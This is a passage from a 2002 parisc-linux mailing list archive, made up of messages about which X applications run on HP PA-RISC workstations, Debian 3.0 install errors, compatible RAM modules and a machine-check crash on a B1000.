X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16277

Steve Pacenka wrote:
> On Tue, 2002-09-24 at 07:55, Thibaut VARENE wrote:
> 
> 
>>>Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
>>
>>Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
>>for XMMS I don't know...
> 
> 
> 
> Thanks for feeeback.
> 
> I got the command line alsaplayer mp3 player to work on the 735; perhaps
> some front ends that use this or mpg123 could replace xmms.
Well I just tried xmms on a B132L+, it worked just fine...


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan McLaughlin <DMcl@amcol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installing debian 3.0
Date: Tue, 24 Sep 2002 10:42:34 -0500
Lines: 246
Approved: news@gmane.org
Message-ID: <466EEDE4653DD41195EA00508BAC968502198F4D@AMCHIEXCH01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----_=_NextPart_000_01C263E1.005CFA40";
	type="multipart/alternative"
X-Trace: ger.gmane.org 1416621764 14720 80.91.229.3 (22 Nov 2014 02:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:44 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 09:47:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amchiexch01.amcol.com (unknown [12.107.111.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 813754829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 09:47:20 -0600 (MDT)
Original-Received: by AMCHIEXCH01 with Internet Mail Service (5.5.2653.19)
	id <TPF9AG5V>; Tue, 24 Sep 2002 10:43:34 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16278

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C263E1.005CFA40
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C263E1.005CFA40"


------_=_NextPart_001_01C263E1.005CFA40
Content-Type: text/plain

 
Trying to install debian 3.0 on a c110 w/ 2 scsi hd 2.0 gig and 512megs of
ram. When I run apt-get I get io error
Then tells me to try to reinstall I do that and get the same error?
Dan McLaughlin
Help Desk
 

------_=_NextPart_001_01C263E1.005CFA40
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C263B7.78DA90B0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:"Monotype Corsiva";
	panose-1:3 1 1 1 1 2 1 1 1 1;
	mso-font-charset:0;
	mso-generic-font-family:script;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
@font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:536871559 0 0 0 415 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Verdana;
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	color:black;
	mso-believe-normal-left:yes;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:black;
	font-weight:normal;
	font-style:normal;
	text-decoration:none;
	text-underline:none;
	text-decoration:none;
	text-line-through:none;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]--><![if mso 9]>
<style>
p.MsoNormal
	{margin-left:51.0pt;}
</style>
<![endif]><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1" />
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite background=3D"cid:image001.gif@01C263B7.78DA90B0" =
lang=3DEN-US
link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in;margin-left:51.0pt'>
<img src=3D"cid:image001.gif@01C263B7.78DA90B0"
v:src=3D"cid:image001.gif@01C263B7.78DA90B0" v:shapes=3D"_x0000_Mail" =
width=3D0
height=3D0 class=3Dshape style=3D'display:none;width:0;height:0'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>Trying to install debian 3.0 on a c110 w/ 2 =
scsi hd
2.0 gig and 512megs of ram. When I run apt-get I get io error<o:p></o:p>=
</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>Then tells me to try to reinstall I do that =
and get
the same error?<o:p></o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D4 color=3Dblack face=3D"Monotype =
Corsiva"><span
style=3D'font-size:13.5pt;font-family:"Monotype =
Corsiva";mso-no-proof:yes'>Dan
McLaughlin</span></font><span =
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D4 color=3Dblack face=3D"Monotype =
Corsiva"><span
style=3D'font-size:13.5pt;font-family:"Monotype =
Corsiva";mso-no-proof:yes'>Help
Desk</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DVerdana><span
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C263E1.005CFA40--

------_=_NextPart_000_01C263E1.005CFA40
Content-Type: image/gif;
	name="image001.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="image001.gif"
Content-ID: <image001.gif@01C263B7.78DA90B0>

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
Hwy33OUyVxmoaE6zmvVq5jb7LAEAOw==

------_=_NextPart_000_01C263E1.005CFA40--


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: 24 Sep 2002 10:52:29 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1032882750.384.10.camel@seventy>
References: <03ab01c26266$2416dea0$1f96078d@acid>
	<20020922220323.0113cbca.varenet@esiee.fr>
	<03bf01c2627c$9a5147c0$1f96078d@acid> <03ed01c26280$4dfb5c90$1f96078d@acid>
	<1032793227.1848.222.camel@romano> <003001c26327$d0db42e0$1f96078d@acid>
	<1032806776.2868.19.camel@romano> <002a01c263bf$76340820$1f96078d@acid>
	<3D9052C9.3060704@esiee.fr> <1032880521.1338.181.camel@romano> 
	<3D9085B1.5030503@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621765 14723 80.91.229.3 (22 Nov 2014 02:02:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 09:52:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6ED0A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 09:52:33 -0600 (MDT)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id g8OFqU34017862
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 10:52:30 -0500
In-Reply-To: <3D9085B1.5030503@esiee.fr>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16279

On Tue, 2002-09-24 at 10:33, Thibaut VARENE wrote:
> Steve Pacenka wrote:
> > On Tue, 2002-09-24 at 07:55, Thibaut VARENE wrote:
> > 
> > 
> >>>Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
> >>
> >>Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
> >>for XMMS I don't know...
> > 

i've had both konqueror & xmms working fine on my 712/60

there's also a browser called dillo available as a package - muchj
faster on the slower machines, but also supports far less features

i also found one written in TCL called browsex  available at browsex.com
not tried it yet, but being as its written in tcl, it *should* work :)

James S







From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WTS: workstation ram
Date: Tue, 24 Sep 2002 10:58:43 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020924165843.9D1114829@dsl2.external.hp.com>
References: <3.0.2.32.20020924211827.0069032c@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621765 14724 80.91.229.3 (22 Nov 2014 02:02:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 10:58:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9D1114829; Tue, 24 Sep 2002 10:58:43 -0600 (MDT)
In-Reply-To: Message from Gavin Hubbard <ghub005@xtra.co.nz> 
   of "Tue, 24 Sep 2002 21:18:27 +1200." <3.0.2.32.20020924211827.0069032c@pop3.xtra.co.nz> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16280

Gavin Hubbard wrote:
> I have twenty used A4994A modules. These are the 256MB, 120MHz SDRAM
> modules that work in the B1000, B2000, B2600, C3000, C3600, C3650, C3700,
> J5600, J6000, J6700, J7000 workstations. Please note that some of those
> systems require the modules to be added in pairs.

Will also work on A400 and A500 (ie rp24xx) boxes.
Possibly on L1000 and L2000 but don't know how picky PDC
is on those boxes.

grant


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vlad D. Markov" <markov@monmouth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Tue, 24 Sep 2002 21:54:29 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <200209250154.g8P1sa5O065616@smtp.monmouth.com>
References: <03ab01c26266$2416dea0$1f96078d@acid> <002a01c263bf$76340820$1f96078d@acid> <3D9052C9.3060704@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621765 14726 80.91.229.3 (22 Nov 2014 02:02:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:45 +0000 (UTC)
Cc: Steve Pacenka <spacenka@lightlink.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>,
	Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 19:55:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.monmouth.com (smtp.monmouth.com [209.191.58.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8103B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 19:55:07 -0600 (MDT)
Original-Received: from there (bg-tc-ppp912.monmouth.com [209.191.51.98])
	by smtp.monmouth.com (8.12.5/8.12.5) with SMTP id g8P1sa5O065616;
	Tue, 24 Sep 2002 21:54:44 -0400 (EDT)
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <3D9052C9.3060704@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16281

On Tuesday 24 September 2002 07:55 am, Thibaut VARENE wrote:
> Yves Bodack wrote:
> > From: "Steve Pacenka" <spacenka@lightlink.com>
> > Subject: Re: [parisc-linux] RTC and FB on 735/125
> >
> >>Could you please post your experience at getting X applications to work
> >>now that you have X and a desktop?  I got basic gnome things to work
> >>flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
> >>mozilla.
> >
> > Galeon/Mozilla and XMMS start up, but they don't appear on screen and
> > give
>
> Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
> for XMMS I don't know...
>
I have used gqmpeg as an xmms replacement with mpg123.

I am on a 735/99 also. I use fvwm2, konqueror, kmail, and motif stuff. I 
compiled openmotif on this box.

Some X apps and other apps that don't work: 
ghostscript - works on a 712/100 though
xdvi
xfontsel
xman


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: B1000
Date: Tue, 24 Sep 2002 21:43:29 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20020925034329.D56EA4829@dsl2.external.hp.com>
References: <20020924202029.B46819-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621766 14728 80.91.229.3 (22 Nov 2014 02:02:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 21:43:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D56EA4829; Tue, 24 Sep 2002 21:43:29 -0600 (MDT)
In-Reply-To: Message from Yasholomew Yashinski <yashy@mail.yashy.com> 
   of "Tue, 24 Sep 2002 20:32:34 EDT." <20020924202029.B46819-100000@mail.yashy.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16282

Yasholomew Yashinski wrote:
>  Heya Gents,
> 
>  I hope all is well. I see that Debian 3 is available now for hppa, so I
> recently burnt it to try on my B1000. I went to install it tonight,
> however it's rebooting with:
> 
> High Priority Machine Check (HPMC): Code=1 regs=102f3080 (Addr=000000000)
> 
> and on the LCD: FLT CBFB4

FLT CBFB4 is HPMC. Odd that it dies with an HPMC.

Can you send "ser pim" output to parisc-linux mailing list?
(hint: setup serial console to capture that)

And can you try one of the more recent net install ISO's from ESIEE?
See www.parisc-linux.org front page for links to ESIEE downloads.

>  as soon as it hits Init/BusyBox. Am I to assume the A4977a Vis EG-PCI is
> still unsupported? If so, any idea when it will be supported? If it is now
> supported, any idea what needs to change on my end?

Vis-EG PCI is supported and working as a Frame buffer.
That's known to work on B180/C200/B2600/C3000 and probably a few others.

grant


From - Thu Nov 08 21:24:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing debian 3.0
Date: Tue, 24 Sep 2002 22:05:00 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020925040500.DA0D94829@dsl2.external.hp.com>
References: <466EEDE4653DD41195EA00508BAC968502198F4D@AMCHIEXCH01>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621766 14732 80.91.229.3 (22 Nov 2014 02:02:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:46 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Dan McLaughlin <DMcl@amcol.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 22:05:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
